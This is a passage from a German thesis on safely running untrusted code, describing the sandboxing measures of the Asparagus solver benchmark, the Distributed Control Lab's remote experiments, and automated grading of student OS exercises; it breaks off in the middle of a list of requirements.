An vielen Universitäten weltweit werden Programme entwickelt, die versuchen, alle Probleme im Bereich der Antwortenmengenprogrammierung lösen zu können. Diese Programme werden auch ASP-Solver genannt. Ziel von Asparagus ist es, objektiv zu bestimmen, welcher ASP-Solver dieser Aufgabe zur Zeit am besten gewachsen ist. Um dies zu ermitteln, konfrontiert Asparagus die verschiedenen Wettbewerber mit typischen Probleminstanzen[70], misst die benötigte Zeit, verifiziert das Ergebnis und schreibt es in eine Datenbank, deren Inhalt über einen Webbrowser abgefragt werden kann.

Die Probleminstanzen liegen in einem standardisierten Format bereit, so dass sämtliche Programme diese auch verarbeiten können. Für die Beschreibung der Lösung (der Antwortmenge) existieren eine Menge von Formaten, welche Asparagus versteht. Auf dem Benchmarksystem können zudem auf Wunsch der Wettbewerber noch sehr viele Hilfsprogramme für Teilschritte (etwa Parsen der Probleminstanz) im Bereich der Antwortmengenprogrammierung installiert werden. Asparagus sorgt dafür, dass bereits vorhandene Software nicht doppelt installiert wird.

8.2. Charakterisierung des Problems

Asparagus verfolgt die verschiedensten Ziele, wobei nur einige wenige für den Kontext dieser Arbeit von Belang sind. So ist beispielsweise eine der größten Herausforderungen jedes Benchmarksystems die Garantie der Fairness. Liefert ein ASP-Solver nach einem bestimmten Zeitintervall kein Ergebnis, so bricht Asparagus es ab, auch wenn das Ergebnis vielleicht eine halbe Sekunde später berechnet worden wäre. Ein anderes Programm hat vielleicht bei niedrigerer Auslastung des Computers die Aufgabe im Zeitintervall gerade so bewältigen können, insgesamt aber sehr viel mehr Prozessorzeit in Anspruch genommen oder Teilaufgaben an Hilfsprogramme delegiert. Demzufolge muss nicht das Zeitintervall, sondern die Rechenzeit des Programms und aller genutzten Hilfsprogramme beschränkt werden.

70 Typische Probleminstanzen sind das n-Damenproblem, die Türme von Hanoi, das Färbeproblem, das Rucksackproblem und diverse Graphen- und Puzzleprobleme.

Zur Zeit läuft Asparagus auf einem Linux Betriebssystem. Leider gibt es momentan keinen Mechanismus im Linux Kernel (im Gegensatz zu anderen Unices, siehe [53]), der die konsumierte Rechenzeit für einen Prozess und alle seinen direkten und indirekten Kindprozesse beschränken könnte. Um dieses Problem zu lösen, schrieb Paul Borchert im Rahmen seiner Diplomarbeit ([17]) einen Kernel-Patch, welcher verschiedene Prozesse zu einem *Job-Objekt*[71] gruppiert, an das wiederum Ressourcenlimits wie CPU-Zeit Einschränkungen gekoppelt werden können.

Im Kontext der sicheren Ausführung nicht vertrauenswürdiger Programme ist allerdings die wichtigste Frage, mit welchen Mitteln garantiert wird, dass die zu beurteilenden ASP-Solver sich gutartig verhalten, also

- keine Daten auf dem Testrechner löschen oder ausspähen und versenden,
- nicht die Zeitmessung oder die Ergebnisverifizierung manipulieren,
- nicht selbst Veränderungen an der Ergebnisdatenbank vornehmen,
- keine Hilfsprogramme löschen oder verändern,
- nicht die Ausgangsbedingungen für das nächste Programm mitzubestimmen,
- nicht den Testablauf ins Stocken geraten lassen.

8.3. Lösung des Problems

Da die zu bewertenden ASP-Solver in verschiedenen Programmiersprachen geschrieben wurden und nicht immer der vollständige Quellcode vorliegt, kam für die Lösung des beschriebenen Problems nur ein dynamischer Ansatz in Frage. Die sichere Ausführung nicht vertrauenswürdiger Programme wird im Asparagus System ausschließlich mit betriebssystemeigenen Mitteln (siehe 6.9.) sichergestellt. Für die Ausführung der Programme steht ein dedizierter Rechner (*BMMaschine*) zur Verfügung, welcher über das Netzwerk nur Zugriff auf sein Dateisystem (*NFS-Mount*), die Benutzerinformationen (*NIS*) so wie eine Datenbank (*MySQL*) auf dem mit ihm verbundenen Computer (*BMServer*) hat, der Asparagus mittels einem Web-Servers (*Apache*) an das Internet anschließt. Fast alle Bestandteile von Asparagus sind mittels PHP-Skripten realisiert worden, die unter verschiedenen Benutzerkennungen ausgeführt werden.

Während die Manipulation der Datenbank, sowie die Anzeige der Benchmarkresultate unter dem Nutzer *BMSystem* durchgeführt werden, laufen die zu testenden Programme mit den Rechten des *BMExec* Accounts. Das über NFS gemountete Dateisystem von *BMMaschine* gibt diesem Nutzer nur das Recht, auf die gestatteten Hilfsprogramme ausführend, aber nicht schreibend zuzugreifen. Andere Programme dürfen gar nicht ausgeführt werden. Datenbankänderungen sowie die Manipulation des Asparagus Systems selbst sind nicht mehr möglich, da dafür *BMSystem*-Rechte benötigt würden. An dieser Stelle ist eine strikte Anwendung des *Least-Privilege-Access*-Prinzips zu erkennen.

Auf *BMMaschine* selbst laufen keine weiteren Dienste, so dass sich Angriffe per Delegation ausschließen lassen. Durch diese Maßnahme wird folglich auch dem sechsten Kriterium für

71 Der Begriff *Job-Objekt* wird auch häufig mit den Windows Betriebssystemen in Verbindung gebracht ([105]).

den Erfolg dynamischer Analyse (Garantie für die Prozessumgebung), welches mit ausschließlich herkömmlichen Betriebssystemmitteln problematisch zu erfüllen war (siehe 6.9.) ausreichend Rechnung getragen: Eine anfällige Prozessumgebung existiert de facto gar nicht. Eine Firewall verhindert zudem Netzwerkverbindungen zu anderen Rechnern. Die Ressourcenbeschränkungen werden mittels des bereits beschriebenen *Kernel-Patches* für die gesamte *Tool-Chain* gesetzt.

Nach Beendigung des zu testenden ASP-Solvers müssen unbedingt die Ausgangsbedingungen wieder hergestellt werden. Dafür sind sämtliche Kindprozesse, die eventuell noch laufen, zu beenden und alle angelegten Dateien wieder zu löschen. Da *BMExec* nur Schreibrechte auf einige wenige Verzeichnisse besitzt, müssen nur diese wieder vollständig geleert werden. Interprozesskommunikationsobjekte (Semaphoren, Messagequeues) und andere Einflussfaktoren, welche den Betriebssystemzustand beeinflussen, müssen ebenfalls entfernt bzw. rückgesetzt werden.

8.4. Fazit

Das Asparagus System zeigt, wie sich ein komplexes Problem im Zusammenhang der sicheren Ausführung nicht vertrauenswürdiger Programme ausschließlich mit Hilfe betriebssystemeigener Mittel lösen lässt. Dies war hier möglich, da die zur Verfügung gestellte Infrastruktur ausschließlich für diesen Zweck konfiguriert werden konnte und keine weiteren Aufgaben erfüllen muss. Da die zu testenden ASP-Solver immer sequentiell hintereinander ausgeführt werden und in keinster Hinsicht miteinander interagieren müssen, erspart man sich eine ganze Reihe von Problemen.

Der *Kernel-Patch* muss sich zunächst bewähren und bringt potenziell weitere Angriffsmöglichkeiten für *Kernel-Exploits* ins Spiel. Interessant wäre es, neben CPU-Zeit auch Speicherauslastung[72] und andere Ressourcenlimits an ein *Job-Objekt* binden zu können. Erreicht man an dieser Stelle eine Funktionalität und Komplexität wie bei den *Task*-Objekten eines Solaris Betriebssystems ([53]) sollte der *Kernel-Patch* auch Einzug in den offiziellen Linux Kernel finden.

8.5. Verwandte Arbeiten

Antwortmengenprogrammierung ist ein populäres Teilgebiet der Informatik, auf dem sehr viel geforscht wird. [41], [66] und [65] geben einen Einstieg für den interessierten Leser, der mehr darüber erfahren möchte.

Die hier behandelten Probleme, welche Asparagus zu lösen hat, werden in [17] wesentlich detaillierter behandelt.

72 An dieser Funktionalität wird gerade gearbeitet.

9. Sichere Ausführung nicht vertrauenswürdiger Programme im Kontext vom DCL

9.1. Vorstellung des DCL

Das Distributed Control Lab (DCL [31]) wurde von Mitarbeitern des Lehrstuhls Betriebssysteme und Middleware ([64]) am Hasso Plattner Institut Potsdam ([48]) entwickelt. Es handelt sich dabei um eine erweiterbare Experimentierumgebung, deren Experimentieranordnungen über Web Services benutzt werden können.

Dies geschieht, in dem über verschiedene Frontends[73] Quellcode bei der Experimentierumgebung (*Experiment-Service*) eingereicht wird, der spezifiziert, wie das gewünschte Experiment durchgeführt werden soll. Nach erfolgreicher Authentifikation des Benutzers beim *Ticket-Service*, wird das übergebene Programm in eine Warteschlange gestellt und vom *Experiment-Controller* compiliert, installiert und ausgeführt, sobald die Experimentieranordnung dafür bereit ist und höher priorisierte Experimente beendet wurden. Die Verwaltung der verschiedenen Anforderungen ist dabei Aufgabe des *Experiment-Managers*. Stehen mehrere Experimentieranordnungen zur Verfügung, welche den Anforderungen des Experiments genügen, wählt der *Experiment-Manager* automatisch eine davon aus. Dabei können sich die Experimentieranordnungen an völlig verschiedenen Orten befinden. Anschließend bekommt der Benutzer eine Auswertung seines Experiments vom *Result-Manager* zurückgeliefert. Dies kann sowohl eine Messwerttabelle, ein Diagramm als auch ein während des Experiments aufgenommener Videofilm sein.

Das Distributed Control Lab erfüllt eine ganze Reihe von Zielen, die nicht Fokus dieser Arbeit sind und im Detail in [98] nachgelesen werden können. Durch die Realisierung als Web Service wurde eine Möglichkeit gefunden, die Experimente einer Vielzahl unterschiedlicher Clients zugänglich zu machen. Um wiederum die Ansteuerung verschiedenster Experimentieranordnungen zu ermöglichen, bedient man sich der Abstraktion eines *Job Objektes*. Innerhalb dieses Objektes befindet sich ein Verweis auf die gewünschte Experimentieranordnung, ein Verweis auf zusätzliche Informationen des Benutzers und der auszuführende Quellcode. Die Authentifizierung eines Benutzers über den *Ticket-Service* zieht ein Windows 2000 Active Directory System zur Hilfe. Sämtliche Komponenten des DCL können nur mit einem gültigen Ticket benutzt werden.

Um eine hohe Ausfallsicherheit zu garantieren, ist das DCL redundant ausgelegt. Sämtliche Job Objekte und die damit verbundenen Informationen wie die Resultate eines Experiments sind in einer Datenbank persistent gespeichert. Bei Absturz einer DCL Komponente kann ein zweiter Computer mit der gleichen Software diese Datenbank auslesen und gegebenenfalls Experimente fortsetzen, ohne dass der Endnutzer den Ausfall bemerken würde.

Die Experimentieranordnungen sind sowohl mit traditionellen Middleware Komponenten (.NET-Framework) als auch mit eingebetteten Systemen realisiert worden, die allesamt durch .NET-Remoting Mechanismen mit dem *Experiment-Service* kommunizieren, nachdem sie sich dort unter Zuhilfenahme derselben Technologie registriert haben.

73 Zur Zeit stehen ein webbasiertes Frontend, ein Windows CE Client, ein Kommandozeilen-Client und Visual Studio Add-In zur Verfügung.

9.2. Charakterisierung des Problems

Neben den bereits kurz angeschnittenen Zielen bemüht sich das DCL (genauer der jeweilige *Experiment-/Safety-Controller*) darum, dass eingeschickter Code auf keinen Fall das DCL selbst oder die Experimentieranordnungen beschädigen kann. Da an die meisten Experimentieranordnungen harte Echtzeitanforderungen gestellt sind, darf die genutzte Lösungsstrategie zudem den Ablauf nur eine vorhersagbare Zeit verzögern. Um dies zu erreichen, wurde für fast jedes der Experimentieranordnungen eine andere Lösungen gewählt. Im Gegensatz zu bestehenden COTS-Anwendungen hatte man hier die Möglichkeit, die Art und Weise, wie die verschiedenen Experimentieranordnungen programmiert werden können, selbst zu bestimmen.

Somit konnten mitunter Lösungen gewählt werden, die bei bereits vorhandenem Quellcode niemals hätten genutzt werden können. Die nachfolgenden Unterabschnitte stellen jeweils eine Experimentieranordnung sowie die dazugehörige Lösung vor und versuchen diese in die in Kapitel 3 bis 6 aufgestellten Kategorien statischer und dynamischer Analyse einzuordnen. Für weitere Details sei wieder auf [98] verwiesen.

9.3. Experimente im DCL und die jeweilige Lösung

9.3.1. Foucaultsches Pendel

Die Experimentieranordnung „Foucaultsches Pendel“ ([99]) besteht aus einem Pendel, an dessen Ende eine Eisenkugel befestigt ist. Um es in Bewegung zu halten, befindet sich unter der Kugel ein starker Elektromagnet, welcher durch den eingesandten Quellcode programmiert werden kann. Die Eingabe für dieses Steuerprogramm liefern zwei im rechten Winkel angeordnete Lichtschranken, welche durch die Bewegungen des Pendels ausgelöst werden.

Die Aufgabe des Programmierers ist es nun, den Elektromagneten zur richtigen Zeit ein- und auszuschalten, so dass das Pendel niemals aufhört zu schwingen. Dabei könnte der Algorithmus nach Kriterien wie dem geringsten Energieverbrauch oder der höchsten Amplitude optimiert werden. Die Programmierung erfolgt hierbei über ein C# Programm, was auf einem COTS-PC unter Windows 2000 ausgeführt wird. Um die Echtzeitbedingungen garantieren zu können[74], werden die Daten, welche die Sensoren der Lichtschranken liefern, zunächst in einen speziellen Hardware Puffer gespeichert, der über die USB Schnittstelle mit dem *Experiment-Controller* verbunden ist. Innerhalb des Computers sorgt ein Gerätetreiber dafür, den Puffer auszulesen und dementsprechende Ereignisse für das C# Programm zu generieren, welches dann wiederum auf diese reagiert, indem es selbst Ereignisse an den Gerätetreiber zurücksendet.

74 Streng genommen ist Windows 2000 kein Echtzeitbetriebssystem und kann damit keine Echtzeitbedingungen garantieren. Dennoch gibt es Mittel und Wege, das Antwortverhalten vorhersagbarer zu gestalten.

Zur sicheren Ausführung des *Untrusted Codes* wird der in Abschnitt 6.6. bereits erwähnte Sicherheitsmechanismus *Code-Access-Security* des .NET-Frameworks genutzt. C# kann also in gewisser Hinsicht als *safe language* bezeichnet werden, so lange das Framework tatsächlich die Einhaltung der spezifizierten Einschränkungen garantieren kann. Dem C# Programm wird über diesen Mechanismus unter anderem verboten, auf große Teile des Dateisystems zuzugreifen, Kommunikation mit anderen Systemkomponenten außer dem Gerätetreiber zu pflegen oder eine Netzwerkverbindung zu öffnen. Da der aus dem C# Programm generierte Zwischencode (*IL-Code*) von einem Interpreter ausgeführt wird, kann dieser vor jedem Zugriff auf eine Ressource prüfen, ob die dafür benötigte Berechtigung erteilt wurde.

Der gewählte Ansatz lässt sich eindeutig in die Kategorie Virtuelle Maschinen/*Safe Languages* (siehe 6.6.) einordnen, welche fünf der sechs notwendigen Kriterien (siehe Abschnitt 5) zur sicheren Ausführung nicht vertrauenswürdiger Programme bei sorgfältiger Programmierung erfüllen konnte. Das Kriterium „Garantie für die Prozessumgebung“ (siehe 5.7.) kann allerdings nicht von einem Interpreter erfüllt werden, der selbst nur ein Prozess des Betriebssystems ist. Gelingt es auf irgendeine Weise, ein zweites von einem bösartigen Nutzer geschriebenes Programm auf dem Rechner mit dem ersten Programm interagieren zu lassen[75], so könnte es durchaus möglich sein, den Interpreter durch eine TOCTOU-*Race-Condition* zu überlisten. So lange jedoch nur ein Programm gleichzeitig mit einem Thread vom *Experiment-Controller* ausgeführt und nach jedem Durchlauf identische Startbedingungen hergestellt werden, sollte sich die Gefahr in Grenzen halten.

Neben der Garantie, dass das C# Programm keine Ressourcen benutzt, die zur Ausführung des Experiments nicht vorgesehen sind, müssen darüber hinaus noch einige weitere Verhaltensaspekte sichergestellt werden. Es darf z. B. auf keinen Fall geschehen, dass ein Programm die Auslenkung des Pendels so stark reduziert, dass die Sensoren keine Positionsangaben mehr liefern können. In diesem Fall müsste die Experimentieranordnung von einem Menschen erneut in einen gültigen Zustand gebracht werden. Weiterhin müssen Effekte wie die Überhitzung des Magneten sowie die übermäßige Nutzung von Speicher durch das C# Programm vermieden werden. Mit Hilfe von dynamischer Rekonfiguration (*Dynamic-Reconfiguration,* [97]) wird für die Einhaltung aller Punkte Sorge getragen. Eine Systemkomponente überwacht die Magnetentemperatur, den Grad der Auslenkung des Pendels und die aktuelle Speicherauslastung, kurzum sämtliche für den ordnungsgemäßen Betrieb der Experimentieranordnung verantwortlichen Parameter. Befindet sich eine der überprüften Variablen nicht mehr im zuvor festgelegten Intervall, wird das C# Programm durch eine sichere, zuvor getestete Befehlssequenz ersetzt, die das Pendel wieder in einen gültigen Zustand zurückführt.

Dieser Teil der Lösung kann nicht in das in Abschnitt 6 definierte Schema eingeordnet werden, da es sich auf ein konkretes, zuvor bekanntes Verhalten bezieht. Im Fall des Pendels besteht der Vorteil, dass sich destruktives Verhalten schon „lange genug“ vorher ankündigt[76], um es zu verhindern. Wenn etwa die Auslenkung eines Pendels einen kritischen Wert erreicht, kann, wie im DCL gezeigt, früh genug darauf reagiert werden. Wenn jedoch ein bösartiges Programm beginnt, eine Datei zu löschen, ist es zumeist schon zu spät. Der sogenannte *Safety-Controller*, welcher nach Devianz zum Einsatz kommt, muss in jedem Fall sehr schnell eingreifen können und auf keinen Fall durch das C# Programm negativ beeinflusst werden können. Problematisch ist eventuell, dass man einen *Black-List* und keinen *White-List*-Ansatz verfolgt. Man definiert, bei welchen Parameterbelegungen die Substitution erfolgt. Sollte es

75 Zwei Threads dürften bereits ausreichen.

76 Es existiert eine Systemtheorie, die dieses „lange genug“ exakt berechnen kann ([114]).

eine bis jetzt nicht bedachte Möglichkeit geben, die Experimentieranordnung auf eine Weise anzusteuern, dass sie nicht mehr benutzbar ist, kann eventuell die dynamische Rekonfiguration nicht greifen, da die Monitorkomponente theoretisch zu wenig Parameter beobachtet bzw. der *Safety-Controller* keinen Algorithmus zur Verfügung stellt, um wieder zurück in eine normale Situation zu gelangen. Wie wahrscheinlich jedoch so ein Szenario ist, vermag der Autor nicht einzuschätzen.

9.3.2. Lego Mindstorm Roboter

Die Lego Mindstorm Roboter Experimentieranordnung illustriert am Besten, wie sich Sicherheitslösungen innerhalb des Distributed Control Labs aufgrund im Laufe des Projektes hinzugewonnener Erfahrungen änderten. Die erste Version der Lego Mindstorm Roboter konnte mit Hilfe einer C-ähnlichen Programmiersprache auf einer vorgegeben Fläche bewegt werden. Nach jedem Experiment musste der Roboter zurück in die Aufladestation fahren, welche er durch einen im Roboter integrierten *Safety-Controller* von selbst finden konnte. Das gesamte Areal wurde von einer Kamera überwacht. Eine spezielle Bilderkennungssoftware konnte aus den gelieferten Daten der Kamera die Position des Roboters bestimmen. Der *Safety-Controller* kommt ebenfalls zum Einsatz (Stichwort *Dynamic-Reconfiguration*), wenn der Roboter durch ein fehlerhaftes Programm versuchen sollte, die Fläche zu verlassen.

Ziemlich schnell wurde erkannt, dass zur korrekten Positionsbestimmung absolut gleichbleibende Lichtbedingungen und Bodenbeschaffenheiten von Nöten waren. Aus diesem Grund befindet sich die Experimentieranordnung nun in einem Raum ohne Fenster.

Um den Roboter vor fehlerhaften Programmen zu bewahren, wurde zunächst die Programmiersprache sehr stark eingeschränkt. Zeigerarithmetik und Rekursion wurden verboten. Zur Kommunikation mit der Umgebung durfte nur noch eine kleine Menge von definierten Funktionen genutzt werden. Dieser Ansatz entspricht dem einer *safe language* (siehe 6.6.). Die Einschränkungen wurden dabei tatsächlich genau so gewählt (siehe Abschnitt 4.2.), wie sie auch sein müssten, um ein C/C++ Programm durch statische Analyse so überprüfen zu können, dass die sechs notwendigen Kriterien zur sicheren Ausführung nicht vertrauenswürdiger Programme erfüllt werden. Leider unterliegt der Quelltext bestehender COTS- Software keinesfalls diesen Einschränkungen.

Mit der Definition der *safe language* konnte zwar die Nutzung von unberechtigten Ressourcen sowie die Manipulation anderer Softwarekomponenten ausgeschlossen werden, jedoch nicht, dass sich der Roboter aus seinem erlaubten Terrain hinaus bewegte. Um dies bereits im Vorfeld zu unterbinden, wurde ein Simulator geschrieben, welcher den Quellcode zunächst auf einem virtuellen Roboter ausführte, um zu sehen, was passieren würde. Allerdings ist fraglich, ob eine Simulation in jedem Fall das Verhalten des Originals exakt nachempfinden kann und ob es nicht irgendeine Möglichkeit für ein Programm gibt, herauszufinden, ob es auf dem Simulator oder auf dem realen Roboter läuft, um gegebenfalls völlig unterschiedliche Aktionen zu tätigen.

Die zweite Lösungsstrategie setzte nicht mehr auf eine selbst definierte Sprache, sondern auf das .NET-Framework mit seinen Kontrollmöglichkeiten wie *Code-Access-Security*. Auf diese Weise konnte man endlich objektorientiert in einer gewohnten Entwicklungsumgebung programmieren. Allerdings ist sowohl das .NET-Framework als auch sein „kleiner Bruder“ . NET-Compact-Framework für eingebettete Geräte zu groß und ressourcenlastig für den

Microcontroller des Lego Mindstorm Roboters (32 kB RAM, 16 BIT, 16 Mhz). Mit dem Compact-Framework wurden durch Prioritätenerhöhungen der relevanten Threads fast harte Echtzeitbedingungen geschaffen, jedoch kommt es nicht an die Performance von nativen Code heran.

Das Problem wurde gelöst, indem ein Frontend (CIL2RCX) für die GNU Compiler Collection (GCC) geschrieben wurde, welches *IL-Code*[77] verarbeiten kann. Da die GCC schon lange ein Backend für den Microcontroller der Roboter besaß, konnte nun ein C# Programm (oder eine andere .NET-kompatible Sprache) in nativen Maschinencode für die Zielarchitektur überführt werden. Zu beachten ist bei diesem Schritt nur, dass sämtlicher generierter *IL-Code Managed-Code* sein muss, daher Code, der vom *Code-Access-Security* Mechanismus überwacht wird. Da insbesondere herkömmliche C++ Programme nicht vollständig in *Managed-Code* übersetzt werden, scheiden viele Features dieser und anderer Sprachen aus, wenn man sie in Maschinencode für den Microcontroller transformiert. C# Programme erfüllen aber größtenteils diese Bedingung und können daher nun für die Programmierung des Roboters benutzt werden, wobei die selben Sicherheitsgarantien gelten, wie schon zuvor beim Foucaultschen Pendel (siehe Abschnitt 9.3.1.). Sie sind aber aus den gleichen Gründen eventuell anfällig für TOCTOU-*Race-Conditions*.

Bis hierhin wurde noch nicht beschrieben, welches Betriebssystem auf dem Microcontroller zum Einsatz kommt. Das frei verfügbare Betriebssystem BrickOS für Lego Roboter diente dabei als Ausgangsbasis. Die bei der Programmierung des Roboters genutzte Klassenbibliothek (zentrale Klasse: RCX) als auch die benötigte .NET-Runtime sind auf dem Microcontroller als Wrapper implementiert worden, die Routinen von BrickOS aufrufen.

Zur Zeit wird an einem dritten Ansatz geforscht. Micro.NET, ein Interpreter für *IL-Code*, welcher auf optimierten Assemblies operiert, könnte auf Grund der kleinen Größe bald ebenfalls auf dem Microcontroller zum Einsatz kommen. Micro.NET unterstützt nur einen Bruchteil der Funktionalität des kompletten .NET-Frameworks. Ressourcenlastige Konzepte wie Reflection werden dabei vollkommen ignoriert. An der Sicherheitsstrategie selbst (Kategorie Virtuelle Maschinen) ändert sich dabei allerdings im Vergleich zum zweiten Ansatz nicht viel, wenn man von zusätzlichen statischen Überprüfungen zur Compilierzeit absieht. Demzufolge müsste dieser Ansatz, wenn er erst einmal fertiggestellt worden ist, ähnlich gut vor bösartigem Programmcode schützen können.

9.3.3. Hau den Lukas

„Hau den Lukas“ ist eine Experimentieranordnung mit sehr hohen Echtzeitanforderungen. Der Nutzer kann mit Hilfe eines C Programms sieben Elektromagneten ansteuern, die übereinander in einer vertikal aufgestellten Röhre angeordnet sind. Innerhalb der Röhre befindet sich ein Eisenzylinder, der durch geschicktes Aktivieren und Deaktivieren der Elektromagneten vom Fuß zur Spitze der Röhre befördert werden soll. Weiterhin stehen dem Programmierer die Informationen von sechs in der Röhre angeordneten Lichtschranken zur Verfügung.

Die Kommunikation erfolgt über einen maximal 256 Byte großen Puffer, der die Daten enthält, welche vom Parallelport, an dem die beschriebene Experimentieranordnung angeschlossen ist, empfangen wurden bzw. gesendet werden sollen.

77 Jede vom .NET-Framework unterstützte Sprache wird in plattformunabhängigen *IL-Code* transformiert.

Da der Eisenzylinder enorme Geschwindigkeiten erreichen kann, muss das Betriebssystem auf dem dazugehörigen Rechner starke Echtzeitbedingungen erfüllen. Zur Zeit verrichtet ein Windows CE .NET 4.2 seinen Dienst auf dem *Experiment-Controller*, wobei auch Untersuchungen bezüglich der Eignung mit RT-Linux angestellt wurden. Weil die Programmierung der Experimentieranordnung auf sehr hardwarenaher Ebene geschieht und zudem auf keinen Fall Verzögerungen auftreten dürfen, wird der eingesandte Quellcode ohne weitere Überprüfungen compiliert und ausgeführt. Ein spezieller Hardwarecontroller sorgt dafür, dass die Elektromagneten nicht länger als 500 ms aktiviert werden können, um ein Durchbrennen zu verhindern. Damit die Experimentieranordnung auch bei widrigen Programmen benutzbar bleibt, muss ein Hardwarewatchdog über den seriellen Port immer wieder angesprochen werden. Ansonsten wird der Computer automatisch neu gestartet. Schützt man sich auf diese Weise zwar vor Beschädigung des Experimentieranordnung und versehentlich falsch geschriebenem Quellcode, könnte ein bösartiger Programmierer bei diesem Experiment die komplette Kontrolle über den Rechner erlangen. Der Hardwarewatchdog könnte in der Zwischenzeit weiterhin mit den benötigten Signalen versorgt werden.

Um dieses Sicherheitsrisiko zu mildern, werden derzeit Überlegungen angestrengt, das .NET-Compact-Framework zur Steuerung des Experiments zu nutzen. So könnte wiederum *Code-Access-Security* zum Zuge kommen. Um weiterhin harte Echtzeit zu garantieren, müssten jedoch Teile des *Experiment-Controllers* nativ implementiert werden, die im Fall eines verpassten Reaktionsintervalls einer .NET-Komponente korrektes Verhalten erzwingen. Dieser Ansatz erinnert damit sehr an das bereits in Abschnitt 9.3.1. beschriebene Konzept der *Dynamic-Reconfiguration*.

9.4. Fazit

Das Distributed Control Lab bemüht Ansätze aus den verschiedensten Kategorien, um *Untrusted Code* sicher auszuführen. Das Projekt ist noch längst nicht abgeschlossen. Es werden sowohl neue Frontends und Experimentieranordnungen aufgenommen, als auch bestehende *Safety-/Experiment-Controller* überarbeitet um eine bessere Performance bzw. eine noch höhere Sicherheit zu erzielen. Bis jetzt ist es keinem bösartigen Programm jemals gelungen, die Experimentieranordnungen physikalisch zu schädigen. In einigen wenigen Fällen gelang es jedoch bereits, diese für weitere Experimente zunächst temporär unverfügbar zu machen.

Über den Fortschritt des Projektes kann man sich jederzeit auf [31] informieren.

9.5. Verwandte Arbeiten

[98] liefert einen guten Überblick über ähnliche Arbeiten im Bereich von fernsteuerbaren Experimentierumgebungen. Das DCL sticht dabei insbesondere durch die Bevorzugung von Standardlösungen wie dem .NET-Framework vor teurer Spezialhardware, der Vielfältigkeit der Experimentieranordungen und der vorbildlichen Lösung der Probleme hervor, welche mit der sicheren Ausführung nicht vertrauenswürdiger Programme zusammenhängen. In den

Abschnitten dieser Arbeit, welche sich speziell den existierenden Lösungen im Bereich der statischen bzw. dynamischen Analyse widmen, können noch viele weitere Ansätze gefunden werden.

10. Sichere Ausführung nicht vertrauenswürdiger Programme im Kontext der semiautomatischen Korrektur von Betriebssystemarchitektur-Übungsaufgaben

10.1. Vorstellung des Übungsbetriebes zur Vorlesung „Betriebssystsemarchitektur"

Der Lehrstuhl „Betriebssysteme und Middleware" ([64]) am Hasso Plattner Institut Potsdam ([48]) bietet eine Vielzahl von Vorlesungen und Seminaren für die Bachelor-, Master- und Diplomstudenten der Studiengänge „Software Systems Engineering", „IT Systems Engineering" und Informatik an. Eine der Kernvorlesungen des Lehrstuhls, welche jedes zweite Semester von Herrn Prof. Dr. Polze gehalten wird, heißt Betriebssystemarchitektur und wird folgendermaßen charakterisiert:

„Die Lehrveranstaltung richtet ihren Schwerpunkt auf Technologien in Standard-Betriebssystemen (general-purpose operating systems) und diskutiert Techniken und Ansätze am Beispiel der Microsoft Windwos NT/2000/XP-Betriebssystemfamilie. Diese Ansätze werden in Relation gesetzt zu Lösungen, die in UNIX/Mac OS X/ Linux, dem VMS-Betriebssystem und eingebetteten Systemen realisiert worden sind." (Zitat von [60]). Die Vorlesungsunterlagen wurden gemeinsam mit den Autoren von „Microsoft Windows Internals" ([105]) gestaltet und decken zum größten Teil die dort behandelten Bereiche ab.

Wie für eine Betriebssystemarchitekturvorlesung üblich, müssen in der integrierten Übung, welche von Mitarbeitern und studentischen Hilfskräften des Lehrstuhls betreut wird, neben theoretischen Fragen auch Programmierübungsaufgaben gelöst werden, um einen tieferen Einblick in die Materie zu bekommen. Die gestellten Übungsaufgaben ([15]) können dabei zumeist sowohl unter Windows als auch Linux/Unix gelöst werden und decken u. a. die folgenden Bereiche ab:

- Erzeugen/Beenden/Warten auf Threads
- Interprozesskommunikation (lokal und über Rechnergrenzen hinweg)
- Dateiarbeit
- Speicherverwaltung

Um einen Eindruck über die Komplexität der resultierenden Programme zu erhalten, ist eine Implementierung (aufg43.c) für eine gestellte Aufgabe im Anhang abgedruckt worden.

Die zu erstellenden Lösungen müssen einem vorgegebenen Format entsprechen. Jedem Quelltext ist ein *Makefile* beizulegen, welches beschreibt, wie der Quellcode zu compilieren und zu binden ist. Das dazugehörige *Makefile*-Ziel muss genau so lauten, wie der vorgegebene

Name des Programms. *Makefile* und Quellcode sind im ZIP-Format gepackt unter einem vorgegebenen Betreff per E-Mail an einen wissenschaftlichen Mitarbeiter zu schicken. Dieser sorgt mittels eines Perl-Skriptes für die Abholung der E-Mail, Extraktion des ZIP-Archives, Compilieren des Programmes mit Hilfe des *Makefiles* und die Ausführung der entstandenen Binärdatei. Bei der Ausführung werden dem Programm Testdaten mitgegeben; die Ausgaben werden mit den korrekten Lösungen automatisch verglichen. Abschließend generiert das Perl-Skript einen Report, den der wissenschaftliche Mitarbeiter nun auswerten kann.

Leider lässt sich der Überprüfungsprozess nicht vollkommen automatisch realisieren. Die Übungsaufgaben erfordern zumeist nicht nur die Berechnung eines Ergebnisses auf irgendeine Art, sondern auf eine ganz spezielle Weise (zum Beispiel mit einer variablen Anzahl an Threads). Weiterhin schreiben die Aufgabenstellungen vor, sämtliche potenziell auftretenden Fehler angemessen abzufangen. Aus diesem Grunde erfolgt zusätzlich eine manuelle Durchsicht des Quellcodes und eine Nachbesprechung mit einem studentischen Tutor, bevor die endgültige Bewertung feststeht.

10.2. Charakterisierung des Problems

Beim automatischen Teil der Bewertung (Aufgabe des Perl-Skriptes) wurde sich bislang nicht sehr intensiv um Sicherheitsaspekte gekümmert und den Studenten vollkommen vertraut. Die Notwendigkeit, eingeschickten Quellcode als *Untrusted Code* zu behandeln, ergab sich aber spätestens aus der Tatsache, dass einige Studenten unabsichtlich Fehler machten, die beispielsweise zur Erzeugung von nicht gewünschten Dateien oder eine zu hohe Beanspruchung von Ressourcen des Testrechners (Speicherallokation in einer Endlosschleife) führten. Zum anderen bedienten sie sich teilweise Betriebssystemfunktionalitäten, die für die entsprechende Übungsaufgabe nicht vorgesehen, jedoch nicht sofort bei der manuellen Quellcodeanalyse ersichtlich waren.

Geht man von der Annahme aus, dass eines Tages ein Student tatsächlich ein bösartiges Programm oder *Makefile* einsenden könnte (möglicherweise unter einem anderen Namen) oder aber eine externe Person dem Lehrstuhl schaden will, so wird die Forderung nach einer Lösung für die sichere Ausführung nicht vertrauenswürdiger Programme noch ersichtlicher. Die zu implementierende Sicherheitslösung müsste folgende Probleme lösen können:

1. Authentifizierungs-Problem: Angreifer dürfen keine Möglichkeit bekommen, Übungsaufgaben unter falschen Namen einzusenden.
